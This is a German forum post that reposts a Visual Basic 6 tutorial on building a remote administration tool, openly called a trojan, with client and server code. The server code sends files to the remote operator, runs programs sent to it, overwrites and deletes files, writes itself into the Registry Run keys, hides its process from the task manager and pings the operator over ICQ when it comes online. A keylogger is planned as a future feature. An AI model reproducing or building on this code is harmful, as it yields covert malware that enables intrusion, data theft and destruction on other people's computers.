|
Registrieren
Login
Autor
Eldra_
Newbie
Anmeldedatum: 22.11.2007
Beiträge: 13
[Text] Ein RAT erstellen
Verfasst am: 04.12.2007, 18:52
Hier mal ein Tut, dass ich vor einiger Zeit mal im Web gefunden hab. Ist also nicht von mir. Wenns schonmal gab oder nicht erwünscht ist, löschen...
Jedenfalls viel Spass damit:
Code:
#########################################################################
Remote Adminstration Program (Trojaner) selber schreiben mit Visual Basic
#########################################################################
Vorwort:
Ich schreibe dieses Tutorial, um zu zeigen, was man mit Visual Basic alles machen kann,aber auch, um zu beweisen,
das ein RAT nicht umbedingt als Trojaner missbraucht werden muss, was ja leider oft der Fall ist! Darum werde ich
hier sicherlich nicht erklären, wie man so Kinderrein wie das sperren der Tastatur und Maus,den Screen umzudrehn,
die Farben zu ändern, alle Dateinnamen umzuschreiben etc... mit VB verwirklichen kann, sondern vielmehr die wirklichen
Vorteile eines NICHT schädlich genutzten RAT erklären. Desweitern, kann natürliches jedes Kind (Script-Kiddie ;))
einen Trojaner/RAT herrunterladen, aber selber schreiben ist natürlich immer
eine ganz andere Kunst!
Desweitern, wird es in diesem Tutorial Beispielcode geben, da es ohne ja nur schwer nachzuvollziehn ist, allerdings
sollte man diesen trotzdem nicht einfach kopieren und in VB einfügen. Sondern ihn nachschreiben, und am besten selber
umschreiben und weiter entwickeln, nur so kann man wirklich was lernen!Auch werd ich hier sicherlich nicht alle Funktionen
aufzählen, die man so einbaunen könnte (evt. wird das in einem weiteren Tutorial folgen).
Ich werde dieses Tutorial so einfach wie möglich halten, und es sollte so auch für Anfänger verständlich sein, trotzdem
empfiehlt es sich vorher allgemein mit VB beschäftigt zu haben, und schon etwas Grundwissen mitzubringen!
Desweiteren nutze ich Visual Basci 6.0 Enterprise Edition damit alle Funktionen die wir brauchen unterstütz werden.
Auch hab ich die Englische Version, sollten also Probleme mit der Sprache auftreten, dann müsst ihr gegenenfals etwas
umschreiben, aber ich denke kaum, das das der Fall sein wird..
Rechtliche Grundlage:
Da man die von mir hier beschriebenen Funktionen, sich auch einfach für einen Trojaner missbrauchen lassen, lehne ich
sämtliche Verantwortung ab, was mit dem Wissen das ich hier verbreite gemacht wird! Evt. Schäden und Missbräuche werde
ich nicht verantworten! Dieses Tutorial dient rein zu Wissenserweiterung und nicht zu illegalen Zwecken!
Inhalt:
1. Was ist eigentlich ein RAT Program und wie funktioniert es?
2. Erste Schritte...
3. Winsock benutzen...
4. Der Server
4.1 Den Server Empfangsbereit machen
4.2 Daten empfangen und weiterverarbeiten
5. Der Client
5.1 Verbindung herstellen und trennen
5.2 Prüfen ob eine Verbindung steht
5.3 Daten senden
6. Weitere Funktionen
6.1 Registrieren des Servers
6.2 Größere Datein senden
6.3 Datein löschen
6.4 Anwendungen ausführen
6.5 Benachrichtigung via ICQ, wenn Server online
6.6 Server "unsichtbar" machen
7. Server installierbar machen
8. Aussicht auf evt. Funktionserweiterungen
9. Zusammenfassung
1. Was ist eigentlich ein RAT ?
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Jeder kennt sicherlich einen Trojaner, schließlich findet man das Wort heutzutage in jedem drittklassigen
"Computer Magazin", und auf fast jeder Website, die sich mit Computer Security etc befasst!
Aber eigentlich steckt dahinter ein sogenanntes Remote Administration
Program, welches eigentlich dazu dienen sollte, einen PC fernzusteuern, also z.B. von zu Hause den Rechner im Büro!
Leider wurde diese durchaus nützliche Funktion schnell missbraucht, um einfach und effizent die Kontrolle über fremde
PC's zu übernehmen.Trotz allem steckt dahinter eigentlich ein einfaches Prinzip. Das RAT bzw der Trojaner besteht
eigentlich aus 2 Teilen, dem Server und dem Clienten. Der Server wird auf dem PC installiert, den man später "fernsteuern"
möchte, der Client bleibt auf dem eigenen PC. Nun kann man mit Hilfe des Clients Befehle an den Server schicken, welche
er dann ausführt. So nun müssen wir nur noch diese Theorie in die Praxis umsetzten!
2.Erste Schritte...
~~~~~~~~~~~~~~~~~~~
Zuerst sollten wir uns überlegen was denn alles in unser RAT reinkommen soll, bzw welche Funktionen es haben sollte.
Natürlich brauchen wir einen Server und einen Clienten, desweitern müssen wir dem Clienten ermöglichen Befehle an den
Server zu schicken, welche dieser auch empfangen können muss und natürlich in der Lage sein sollte diese zu verarbeiten!
Dafür muss der Server auf einem bestimmten Port empfangsbereit sein, und so die Befehle entgegen nehmen können. Um das zu
erreichen sollte der Server am besten jedesmal mit Windows gestartet werden, also muss er in die Registry eingetragen werden.
Nun wollen wir aber später ja nicht nur Befehle senden,sondern evt auch Programme oder sonstige Datein versenden, dir wir
dann auf dem anderen PC ausführen können oder einfach nur dort speichern. Also muss auch das realisiert werden.
Desweiteren will man ja auch sehn, was man eigentlich schon geschickt hat, bzw gespeichert, und das am besten so
übersichtlich wie im Windows Explorer. Also muss auch dieses gemacht werden, am besten gleich mit der Funktion Datein zu
löschen. So und damit wir immer wissen, wann wir auf den PC bzw Server zugreifen können, bauen wir uns noch eine ICQ-Notify
Funktion ein, so das wir immer eine Nachricht bekommen wenn der Server online ist. Soweit so gut, aber jetzt fangen wir
erstmal ganz am Anfang an...
3. Winsock benutzen...
~~~~~~~~~~~~~~~~~~~~~~
Also öffnen wir unser Visual Basic und erstellen eine neue Form. So nun
stellt sich
natürlich die Frage, wie können wir überhaupt eine Verbindung allgemein, und
speziell
zwischen unserem Server und Client herstellen?! Dies realisieren wir mit dem
Winsock-Control!
Um dieses in unsere Form einzufügen, gehen wir über Projekt - Komponenten,
und suchen dort die Microsoft Winsock Komponente 6.0. Davor machen wir nun
ein Häckchen,
und klicken auf ok. Nun haben wir ein weiters Symbol links in unserer
Leiste,
welches die Winsock Komponente symbolisiert! So nun fügen das ganze in
unsere Form ein,
und wir haben nun die Voraussetzungen eine Verbindung aufzubaun.
4. Der Server
~~~~~~~~~~~~~~
Der eine Teil unsers RAT's und evt. der wichtigere schließlich muss er
einwandfrei
funktioniren, damit er unsere gesendeten Kommandos ausführen kann.
4.1 Den Server empfangsbereit machen
------------------------------------
Nun denkt ihr euch sicherlich, dass kann ja nicht alles sein, ein
Winsock-Control einfügen,
und das ganze soll schon funktionieren? Nein natürlich kann das ganze so
nicht funktionieren!
Also um eine Verbindung aufzubaun, brauchen wir ja zwei Elemente, eines das
etwas sendet,
und ein anders welches empfängt. Unser Server ist hier der Empfänger, und
damit er das auch
ordentlich sein kann, müssen wir ihn erstmal empfangsbereit machen, bzw
dafür sorgen das er
Daten empfangen kann!
Dafür fügen wir einfach folgenden Code in unsere Form ein:
Private Sub Form_Load()
ws.LocalPort = 42222
ws.Close
ws.Listen
End Sub
So ws ist hier unser Winsock-Control, standartmäßig heißt es ja Winsock1, da
das aber zu
umständlich ist, nennen wir es einfach ws (Vergesst nicht das Winsock auch
rechts in der
Leiste in ws umzubennen, sonst geht das ganze nicht).
Das .LocalPort deviniert den Port, auf dem das Winsock Daten empfangen kann,
es ist völlig
egal welchen ihr nehmt, aber er sollte höher als 1024 liegen, da die Ports
darunter von
anderen Programmen genutzt werden.
Das .Close und .Listen schließen erst die Verbindung ( Close: fals eine
bestehen sollte,
sonst funktioniert das spätere connecten nicht) und lassen das Winsock auf
dem Port auf
Daten warten, bzw wörtlich "lauschen" (listen).
So weit so gut, nun ist der Server empfangsbereit, damit das ganze aber auch
einwandfrei
funktioniert fügen wir noch folgenden Code in die Form ein:
Private Sub ws_ConnectionRequest(ByVal requestID As Long)
If ws.State <> sckClosed Then ws.Close
ws.Accept requestID
End Sub
Das brauchen wir, damit Winsock auch wirklich den Verbindungsversuch vom
Clienten akzeptiert.
4.2. Daten empfangen und weiterverarbeiten
------------------------------------------
Nachdem unser Server nun Daten theoretisch empfangen kann, soll er das ja
auch tun! Leider
geht das mit unserem bisherigen Code noch nicht ganz. Zwar hat der Server
nun einen Port,
und kann eine Verbinung mit dem Clienten aufnehmen, aber damit er wirklich
die Daten des
Clientens empfangen kann, fehlt noch ein bißchen. Aber auch dies ist
natürlich kein wirk-
liches Problem, und lässt sich folgendermaßen lösen:
Private Sub ws_DataArrival(ByVal bytes As Long)
Dim Dat As String
ws.GetData Dat
MsgBox Dat, vbInformation
End Sub
Wie gesagt ist nicht schwer, aber auch noch nicht sehr komplex. Aber erstmal
will ich
erklären was jetzt hier genau passiert. Zuerst müßen wir eine Variable
devinieren, in
welcher die empfangen Daten gespeichert werden. Als nächstes empfängt das
Winsock mit
ws.GetData die Datein und speichert sie in der Variable Dat.
So und nun haben wir hier noch eine besondere Zeile "MsgBox Dat,
vbInformation" , diese
bewirkt, dass die empfangen Daten in einer Messagebox angezeigt werden,
ähnlich einer
Box welche erscheint, wenn Windows einen Fehler meldet. Man kann dies also
als eine Art
Nachrichtenübertragung betrachten, mit der ihr mit Hilfe des Servers
Meldungen auf dem
Bildschirm des anderen PC's ausgeben könnt. Zugegeben dies ist noch nicht
sehr orginell,
aber soll euch eine erste Möglichkeit der Datenübertragung und ihrer
Auswertung zeigen.
5. Der Client
~~~~~~~~~~~~~
Das andere Teilstück unseres RAT's. Mit ihm können wir Kommandos an den
Server schicken und
diesen komplett steuern, und so indirekt auch den anderen PC.
5.1 Verbindung herstellen und trennen
-------------------------------------
Nachdem nun unser Server auf einem bestimmten Port auf eine Verdindung
wartet, müssen wir
dem Clienten nur "beibringen" mit diesem zu connecten. Also erstellen wir
eine neue Form,
und fügen auch hier ein Winsock Control ein. Nun brauchen wir aber noch ein
bißchen mehr,
3 zusätzliche Buttons, 2 Textfelder, und 1 Label. Das erste Textfeld
brauchen wir, um hier
die Ip einzugeben, von dem PC zu dem wir connecten möchten. Den
Verbinungsvorgang starten
wir mit dem ersten Button (Command1). Um das tun zu können fügen wir
folgenden Code ein:
Private Sub Command1_Click()
ws.Close
ws.Connect Text1.Text, 42222
End Sub
Hier wird dem Winsock einfach gesagt, das es die Ip aus dem Textfeld (Text1)
nutzen soll,
um so zu dem Port 42222 unseres Servers connecten zu können. Damit steht
schon unsere Ver-
binung, sobald wir auf den ersten Button klicken.
Fals wir die Verbindung wieder beenden möchten, machen wir das ganze wieder
über die
ws.Close Funktion.
Da dabei allerdings Fehler auftreten können, verändern wir das ganze noch
ein bißchen,
so dass die Verbindung wirklich getrennt ist. Dafür nutzen wir den 2 Button.
Private Sub Command2_Click()
ws.Close
Do
DoEvents
Loop Until ws.State = sckClosed
Label1.Caption = "Disconnected"
End Sub
5.2 Prüfen ob eine Verbindung steht
-----------------------------------
Damit wir aber auch wirklich wissen, ob unsere Verbinung steht, nutzen wir
nun das von
uns vorher eingefügte Label. Mit dem können wir uns anzeigen lassen, ob
unser Server
connectet ist oder nicht, indem wir einfach die Funtkionen dafür von Winsock
abrufen.
Dies geschiet mit folgendem Code:
Private Sub ws_Close()
Label1.Caption = "not connected"
End Sub
Private Sub ws_Connect()
Label1.Caption = "Connected!"
End Sub
Eigentlich ganz einfach, nun müsste das Label immer den entsprechenden
Status anzeigen.
Dies wird schon bei der oben beschriebenen Disconnection-funktion genutzt.
5.3 Daten senden
----------------
Nun kommen wir zum eigentlichen Datenübertragung, mit der wir ja zuerst nur
Text an
den Server schicken. Das ist recht einfach, wir brauchen einfach folgenden
Code dafür:
Private Sub Command3_Click()
ws.SendData Text2.Text 'So sendet die Winsock Daten bei einer bestehnden
Verbindung
End Sub
Und schon können wir mit Hilfe des 3. Buttons den Text den wir in das zweite
Testfeld
schreiben, an den Server schicken, welches der nun als Meldung ausgibt.
(Dafür muss man natürlich connectet sein!)
6. Weitere Funktionen
~~~~~~~~~~~~~~~~~~~~~
Nun sind die oben beschriebenen Sachen zwar ganz net, aber man kann damit ja
noch net
wirklich viel anfangen. Kommen wir also zu weiteren und auch komplexeren
Komandos.
6.1 Regestrieren des Servers
----------------------------
Jetzt haben wir zwar einen fertigen kleinen Server, aber es wäre ja ganz
nett, wenn dieser
sich immer von alleine starten würde sobald windows startet, da wir das von
zu Hause manuell
schlecht machen können.
Also tragen wir den Server am besten in den autostart ein, also in die
registry und dort
in die Unterordner Run und RunServices. Das ganze ist nun schon etwas
komplizierter,
deswegen brauchen wir noch ein zusätzliches Modul. Allein schon deswegen um
noch etwas
die Übersicht zu behalten.
Aber erstmal kommt folgender Code in die normale Form:
Private Sub RegisterApp()
Call SetMyApplicationToRun(HKEY_LOCAL_MACHINE, _
"Software\Microsoft\Windows\CurrentVersion\Run", "RAT",
"C:\Windows\testrat.exe")
Call SetMyApplicationToRun(HKEY_LOCAL_MACHINE, _
"Software\Microsoft\Windows\CurrentVersion\RunServices", "RAT",
"C:\Windows\testrat.exe")
End Sub
Hier wird ein Eintrag mit namen RAT in den Ordner Run und RunServices der
Registry ein-
getragen (indem die Funktion "SetMyApplicationToRun" gestartet wird),
welcher auf das
Programm testrat.exe im Ordner C:\Windows verweißt. testrat.exe ist hier
unser Server,
der im Windows Ordner abgespeichert ist. Natürlich ist der Speicherort und
Name
variabel, ihr müsst dann blos den entsprechenden Code ändern, sonst wird der
Server nicht
gestartet.
Ok soweit der Code für die Form, jetzt brauchen wir aber noch so einiges an
Code
(wie z.B. die Funktion "SetMyApplicationToRun") welchen wir in das Modul
einfügen.
Das ganze sieht dann so aus:
Private Declare Function RegCreateKey Lib "advapi32.dll" _
Alias "RegCreateKeyA"(ByVal hKey As
Long, _
ByVal lpSubKey As String, phkResult As
Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" _
(ByVal hKey As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32.dll" _
Alias "RegSetValueExA"(ByVal hKey As
Long, _
ByVal lpValueName As String, _
ByVal Reserved As Long, _
ByVal dwType As Long, _
lpData As Any, _
ByVal cbData As Long) _
As Long
Private Const REG_SZ = 1
Public Const HKEY_LOCAL_MACHINE = &H80000002
Public Sub SetMyApplicationToRun(lhkey As Long, sSubKey As String,
sValueName As String, _
lpData As String)
Dim phkResult As Long
Dim lRet As Long
lRet = RegCreateKey(lhkey, sSubKey, phkResult)
lRet = RegSetValueEx(phkResult, sValueName, 0, REG_SZ, ByVal lpData,
Len(lpData))
Debug.Print lRet
lRet = RegCloseKey(phkResult)
End Sub
Sieht komplizierter aus als es ist, wir haben hier 3 Funktionen
"RegCreateKey" welche den
Eintrag in die Registry macht, "RegCloseKey" welche das eintragen
abschließt, also den
Eintrag speichert, und "RegSetValueEx" welche die von uns voreingestelleten
Angabe wie
Name des Programms, und Speicherort des Programms, aufruft. Diese 3
Funktionen werden dann
in "SetMyApplicationToRun" zusammengefasst, und daraus entsteht dann der
fertige
Registryeintrag.
Nun gut, und damit dieser ganze Vorgang ausgeführt wird, wenn der Server das
erste mal
gestartet wird, und wir das danach nicht mehr selber machen müssen, fügen
wir noch eine
Codezeile ein, und zwar in den Private Sub from_Load():
Call RegisterApp
Und damit sich der Server dann auch da befindet, wo der Registryeintrag
drauf zugreifen
möchte, kommt noch die Zeile
FileCopy App.EXEName & ".exe", "C:\Windows\" & App.EXEName & ".exe"
dazu, welche den ganzen Server nach C:\Windows kopiert. Natürlich kann der
Pfad wieder
manuell geändert werden.
6.2 Größere Datein senden
-------------------------
Nachdem wir nun wissen, wie wir einfachen Text an den Server schicken
können, reicht uns
das natürlich nicht ganz. Schließlich wollen wir ja einen RAT coden, und
kein Chatprogramm
;)
Jetzt ist dies allerdings nicht so einfach, wie unser Textversand, da wir es
hier ja mit
richtigen Datein zu tun haben. Um diese versenden zu können, müssen wir sie
Byte für Byte
einlesen, und an den Clienten schicken, welcher sie wieder zusammensetzt.
Damit können wir
uns dann Datein erstmal vom Server schicken lassen. Natürlich lässt sich das
ganze auch umd-
rehn, und wir können den Server auch vom Clienten aus Datein schicken. Dafür
müsst ihr den
Code den hier beschreibe einfach entsprechend umdrehen, bzw Servercode und
Clientcode ver-
tauschen.
Fangen wir mit dem Server an. Damit unser Server entsprechende Anfragen etc.
später gleich-
zeitig verarbeiten kann, benutzen wir ein 2 Winsock-Control, sowohl beim
Server und beim
Clienten. Also fügen wir dieses ein, und machen die selben Schritten wie in
4.1 und 5.1.
Natürlich wählen wir einen anderen Port, aber ansonsten bleibt alles
gleich, bis auf den
Namen des Winsocks, dieses heißt nun ws2.
Nun zum Code des Servers:
'Sub zum senden von Datein
Private Sub ws2_DataArrival(ByVal bytesTotal As Long)
Dim data2 As String
Dim sDat As Byte
ws2.GetData data3
'Datei puffern
Open data2 For Binary Access Read As #1
Do While Not EOF(1)
Get #1, , sDat
ws2.SendData sDat
DoEvents
Loop
Close #1
End Sub
Also hier empfängt das ws2 den befehl etwas an den Clienten zu schicken.
Dafür brauchen
wir 2 Variablen, data2 (in ihr wird die Datei "zwischengespeichert" um sie
dann auslesen
zu können), und sDat (ihr werden die Bytes der zu versendenden Datei einzeln
übertragen,
welche dann verschickt werden).
ws2.GetData data3
Hier wird der Variablen der Pfad der Datei zugewiesen, z.B. "C:\test.exe",
welche versand
werden soll.
(Genauers dann beim Code des Clienten)
Open data2 For Binary Access Read As #1
Do While Not EOF(1)
Get #1, , sDat
Hier wird die Datei(deren Pfad ja in der Variablen data3 gespeichert ist)
geöffnet und
Byte für Byte eingelesen und in der Variablen sDat zwischengespeichert.
ws2.SendData sDat
DoEvents
Loop
Close #1
Nun wird die Datei mit "ws2.SendData sDat" an den Clienten gesendet, und
dieser Vorgang mit
Loop so lang wiederholt, bis alle Bytes der Datei übertragen wurden.
Kommen wir nun zum Clienten. Auch hier brauchen wir wie oben beschrieben,
ein 2 Winsock,
aber auch ein weiteres Textfeld, und einen zusätzlichen Button. In das
Textfeld, schreiben
wir dann den Pfad der Datei die wir gesendet haben möchten. Nun noch ein
kurzer Code
für den Button, in dem wir einfach schreiben, das unser 2.Winsock den Text
aus dem Textfeld
an den Server schicken soll. Das ganze sieht dann so aus:
ws2.SendData Text5.Text
Jetzt kommt der etwas komplexere Code, in dem wir dem Winsock sagen, was es
mit den vom
Server empfangen Bytes machen soll.
Private Sub ws2_DataArrival(ByVal bytesTotal As Long)
Dim Ziel As String
Dim dat1 As Byte
Dim dat2 As String
Ziel = Text5.Text
dat2 = "D:\Copy" & Right$(Ziel, 4)
ws2.GetData dat1
pos = pos + 1
Open dat2 For Binary Access Write As #2
Seek #2, pos
Put #2, , dat1
Close #2
End Sub
Nun haben wir hier erstmal 3 Variablen, die Variable Ziel (hier kommt der
Pfad rein, wo die
empfangene Datei gespeichert werden soll, nämlich dem im Textfeld Text5
angegebenen.
Natürlich kann man hier ein weiteres Textfeld nutzen, in dem der Pfad
angegeben wird.)
dann die Variable dat1 (in welcher die empfangen Bytes zwischen gespeichert
werden), und
die Variable dat2 welche den Pfad der neuen Datei enthält.
Bei diesem ganzen empfangen der Datei, werden folgende Vorgänge durchlaufen.
Zuerst werden
die einzelnen Bytes empfangen und zwischen gespeichert, und das Ziel für die
neue Datei
festgelegt.
Ziel = Text5.Text
dat2 = "D:\Copy" & Right$(Ziel, 4)
ws2.GetData dat1
Nun wird die neue Datei "geöffnet" um die Bytes hinein zuschreiben.
Open dat2 For Binary Access Write As #2
Seek #2, pos
Put #2, , dat1
Close #2
So und damit haben wir dann eine fertige Kopie der Datei, die auf dem
anderen PC lag.
6.3 Datein löschen
~~~~~~~~~~~~~~~~~~
Diese Funtkion ist im Prinzip ja recht einfach, mit dem einfachen Befehl
"Kill" kann man
ja schon eine Datei mit VB löschen. Jetzt reicht uns aber das ganze noch
nicht, da diese
Datei nicht wirklich gelösch ist, und mit dem jeweiligen Programm
wiederhergestellt werden
kann. Damit wir aber z.B. wichtige Dokumente unwiederruflich löschen können,
werden wir
die Datei Byte für Byte einlesen, mit Nullen überschreiben, und dann
löschen! Das hat den
Effekt, das die Datei wirklich unbrauchbar wird. Der Code des Clienten, ist
hier relativ
einfach wir schicken einfach einen Befehl an den Server, welcher die
Löschfunktion auslöst.
Dabei verbinden wir das senden diese Befehl, noch mit einem weiteren
Textfeld, in das wir
den Pfad der zu löschen Datei eintragen. Dazu natürlich wie immer ein Button
mit dem der
ganze "Befehl-Senden" Vorgang gestartet wird.
Code für den Button im CLienten:
ws3.SendData Text*.Text 'für * das entsprechende neue Textfeld eintragen
also z.B 4
Nun zum Server, hier benötigen wir ein weiteres Winsock, allein aus
Übersichtlichkeit, ist
dies ganz sinvoll, und auch um evt. später Konflikte von Funktionen aus dem
Weg zugehen!
Außerdem ist der Server dann auch in der Lage mehrer Sachen gleichzeitig zu
bearbeiten!
So aber jetzt zum Code für den Server, das neue Winsock (ws3) wird wie immer
eingefügt,
und mit einem neuen Port versehn, ansonsten ist alles dasselbe wie bei den
anderen!
Private Sub ws3_DataArrival(ByVal bytesTotal As Long)
Dim Dat3 As String
ws3.GetData Dat3
If Dat3 Like "*:\*" Then
FileKill Dat3
End If
End Sub
Alle Daten die ws3 empfängt und die einen ":\" Teil enthalten, werden
gelöscht.
Jetzt fehlt nur noch die FileKill Funktion, dass ganze sieht dann so aus:
Public Function FileKill(ByVal sFilename As String)As Boolean
Dim F As Integer
Dim sInhalt As String
Dim FileSize As Long
Dim ReadSize As Long
Dim Size As Long
Const BlockSize = 4096
' Fehlerbehandlung aktivieren
On Local Error GoTo FileKill_Error
' Datei binär öffnen
F = FreeFile
Open sFilename For Binary As #F
' Dateigröße
FileSize = LOF(F)
' Datei-Inhalt blockweise mit
' Leerzeichen überschreiben
While ReadSize < FileSize
If ReadSize + BlockSize > FileSize Then
Size = FileSize - ReadSize
Else
Size = BlockSize
End If
' Leerzeichen schreiben
sInhalt = Space$(Size)
Put #F, , sInhalt
ReadSize = ReadSize + Size
Wend
' Datei schliessen
Close #F
' Datei löschen
Kill sFilename
FileKill = True
Exit Function
FileKill_Error:
If F > 0 Then Close #F
FileKill = False
End Function
Eigentlich sind die hier gemachten Anmerkungen Erklärung genug!
6.4 Anwendungen ausführen
~~~~~~~~~~~~~~~~~~~~~~~~~
Wenn wir nun ein entsprechendes Programm an den Server geschickt haben,
wollen wir das
ganze natürlich auch ausführen können. Dies ist recht einfach zu
bewerkstelligen, beim
Clienten wie immer einfach ein Button plus Textfeld, in dem der Pfad des
auszuführenden
Programm steht. Fürs versenden, können wir diesmal ein vorher schon
benutztes Winsock
nehmen, welches ist eigentlich egal.
Der Code für den Button sollte eigentlich klar sein.
Beim Server nehmen wir jetzt das entsprechende Winsock, das zu dem im
Clienten benutzten
past (gleicher Port). Ich nehme hier unser erstes Winsock, und erweiter den
Dateiempfang
durch eine If-Funktion. Das ganze sieht dann so aus:
Private Sub ws_DataArrival(ByVal bytes As Long)
Dim Dat As String
ws.GetData Dat
If Dat <> "*.*" Then
MsgBox Dat, vbInformation
End If
If Dat = "*.exe" Then
Shell Dat
End If
End Sub
Fertig. Also recht einfach das ganze, alle empfangen Daten die mit .exe
enden, also z.B
der Pfad eines Programmes, werden vom Server ausgeführt. Alle andern die
keinen Punkt
enthalten also keine Datei sind, werden als Textbox ausgeben. (<> heißt ja
ungleich, und
sorgt hier dafür, das nicht der Pfad für ein Programm einmal als Textbox
ausgeben wird,
und gleichzeitig für die Ausführung des Programmes genutzt wird.)
6.5 Benachrichtigung via ICQ wenn Server online
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Diese äußert praktische Funktion soll ja auch net in unserem Server fehlen,
damit wir immer
wissen wann wir ihn denn erreichen können. Damit das funktioniert, lass wir
den Server
über den ICQ-Server einen Pager an unsere ICQ-Uin schicken.
Dafür brauchen wir aber noch ein paar zusätzliche Elemente in unserer Server
Form, und zwar:
5 neue Textfelder, und eine zusätzliche Komponente, das Internet Transfer
Control. Dies
ist äußerst wichtig, damit unser Server mit dem Server von ICQ connecten
kann, und dort
mithilfe eines Scripts, einen Pager an uns schicken kann. Die Textfelder
nennen wir wie
folgt, txtICQNr.Text, txtName.Text, txtEmail.Text, txtBetreff.Text,
txtNachricht.Text
Diese Felder müssen wir alle ausfüllen, da sonst ICQ den Pager nicht
verschickt, wobei
allerdings die ICQ-Nummer im Text feld txtICQNr.Text am wichtigsten ist, in
dem Rest
kann stehen was ihr wollt. Das einzige was zu bedenken ist das im txtEmail
ein email-
artiger Text steht, also z.B. abc@xyz.com
Nachdem wir das alles fertig haben, kommen wir jetzt zu der eigentlichen
Funktion, mit
der wir das ganze ausführen können:
Public Sub ICQMessage(ICQNummer As String, Name As String, _
EMail As String, Betreff As String, Nachricht As String)
Dim r_name As String
Dim r_Subject As String
Dim r_Message As String
r_name = Replace(Trim$(Name), " ", "+")
r_Subject = Replace(Trim$(Betreff), " ", "+")
r_Message = Replace(Trim$(Nachricht), " ", "+")
' Zeilenumbrüche codieren
r_Message = Replace(r_Message, vbCrLf, "%0d%0a")
Const ICQURL = "http://wwp.icq.com/scripts/WWPMsg.dll"
Inet1.Execute ICQURL & "?from=" & r_name & _
"&fromemail=" & EMail & _
"&subject=" & r_Subject & _
"&body=" & r_Message & _
"&to=" & ICQNummer & _
"&Send=" & """"
End Sub
So der wichtigste Teil ist eigentlich der, welcher mit "Const ICQURL =
"http://wwp.icq.com/scripts/WWPMsg.dll" anfängt, hier connectet unser
Internet Control
mit dem ICQ Server und mit Hilfe der dort abgelegten dll wird ein Pager an
uns
verschickt, in dem er die von uns ausgefüllten Text felder an den Server
schickt.
So und damit das immer passiert wenn der Server online geht, bzw gestartet
wird, kommt
das ganze noch in den Form_Load:
ICQMessage txtICQNr.Text, txtName.Text, txtEmail.Text, _
txtBetreff.Text, txtNachricht.Text
So das war alles. Nun muss man halt nurnoch bedenken wie man das denn macht,
wenn der PC
nicht online ist, also auch net der Server online gehen kann. Dann müsste
diese Funktion
ja in gewissen abständen sooft ausgeführt werden bis eine Internetverbindung
besteht.
Aber das dürft ihr euch selber überlegen, bzw. ich werde es evt. bei einem
"Funtkions-
erweiterungstut" beilegen.
6.6 Server "unsichtbar" machen
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Nun kommt man ja manchmal in die Situation, das nicht jeder sehen soll, das
auf dem ent-
sprechenden PC ein Server läuft. Jetzt kann man natürlich die Form des
Programmes ganz ein-
fach "unsichtbar" machen, indem man in Privat Sub From_Load() From1.hide
eingibt. Nun ist
zwar das Programm an sich "getarnt" aber durch drücken von strg-alt-entf
wird es immernoch
als laufender Prozess angezeigt. Um dies zu unterbinden, lassen wir die
aktuelle Process-ID
auslesen, und dann mithilfe des Kernels, zu verstecken, bzw nicht mehr
anzuzeigen. Dafür
brauchen wir nur zwei kleine Funktionen, die wir in die Form einfügen:
Private Declare Function GetCurrentProcessId Lib _
"Kernel32" () As Long
Private Declare Function RegisterServiceProcess Lib _
"Kernel32" (ByVal dwProcessID As Long, ByVal _
dwType As Long) As Long
Und jetzt noch 2 kleine Funtkionsaufrufe und eine Variable in das Private
Sub From_Load():
Dim pid&
pid = GetCurrentProcessId
RegisterServiceProcess pid, 1&
So und damit sollte unser Server schon sehr viel schwerer aufzuspüren sein!
7. Server installierbar machen
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Nachdem wir nun das Grundlegende unseres RAT fertig haben, liegt es
natürlich nahe, das
ganze einfach zu komplimieren und dann die fertige exe Datei einfach auf dem
Pc auszuführen.
Für den Client würde dies funktionieren, schließlich bleibt er auf unserem
PC, aber was
ist mit der Server Datei? Wir können leider nicht davon ausgehen, das
sämtliche
Laufzeitdaten von VB bereits auf dem anderen PC installiert sind. Vor allem
unser reichlich
genutztes Winsock-Controll fehlt auf vielen PC's. Also müssen wir eine Art
Setup-Datei
erstellen, in die wir alle unsere benötigten .Dll Datein packen können. Es
gibt mehrer
Möglichkeiten dies zu verwirklichen, einmal kann man den Der Verpackungs-
und
Weitergabe-Assistent (Bestandteil deiner Visual Basic Installation (ab Prof.
Version))
nutzen oder andere Programm wie z.B. Exe Bundle.
Um den Microsoft Verpackungs- und Weitergabe-Assistenten nutzen zu können,
müsst Ihr euer
Projekt zunächst kompilimentieren. Nach dem Start des Assistenten wählen ihr
die Projekt-
datei aus (VBP-Datei). Um ein Setup zu erstellen müsst ihr dann den Befehl
Verpacken
aufrufen. Der Assistent ermittelt nun alle Dateien, die von eurer Anwendung
benötigt werden. Hierzu "durchforstet" er die Projektdatei nach Verweisen
auf externe
Komponenten und listet alle gefundenen Komponenten auf.
Im großen und ganzen findet der Assistent alle benötigten Dateien
selbständig. Sollen
weitere Dateien mit ins Setup gepackt werden, z.B. Online-Hilfe,
Datendateien u. a., müssen
diese manuell hinzugefügt werden. Der Nachteil ist halt, das dieses Setup
auch wiederum VB
Laufzeitdatein benötigt, allerdings sind diese auf den meisten PC's
installiert.
8. Aussicht auf evt. Funktionserweiterungen
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Nachdem wir nun schon ziemlich viele Funtkionen in unseren RAT integriert
haben, fehlen uns
natürlich noch ein paar Funktionen, wie z.B:
- Eine Art Explorer mit dem wir alle Daten des anderen PC's einsehen können
- Eine Möglichkeit den Server wieder zu entfernen wenn er nicht mehr
gebraucht wird
- Die Möglichkeit auch durch Router zu connecten
- Sämtliche laufende Prozesse auf den anderen PC aufzulisten und diese
gegebenenfals zu
beenden
- Systeminformationen über den PC sammeln
- Ein Keylogger evt. mit der Funktion das ganze an eine E-Mail adresse zu
schicken
usw.
Diese werd ich wohl denächst in einem Zusatz Tutorial beifügen, sobald ich
das alles zum
laufen gebracht hab, und die Zeit finde es aufzuschreiben. Allerdings sind
die hier
erklärten Funtkionen eigentlich als Grundlage ausreichend und es ist jedem
selbst
überlassen eigenes hinzuzufügen oder anderes wegzulassen.
9. Zusammenfassung
~~~~~~~~~~~~~~~~~~
Jetzt sind wir am Ende meines Tutorials. Ich hoffe ich konnte hier einiges
an Wissen
vermitteln. Natürlich ist das ganze noch nicht zu 100% ausgereift, aber ein
bißchen
eigen Arbeit müsst und solltet ihr ja auch selber leisten.
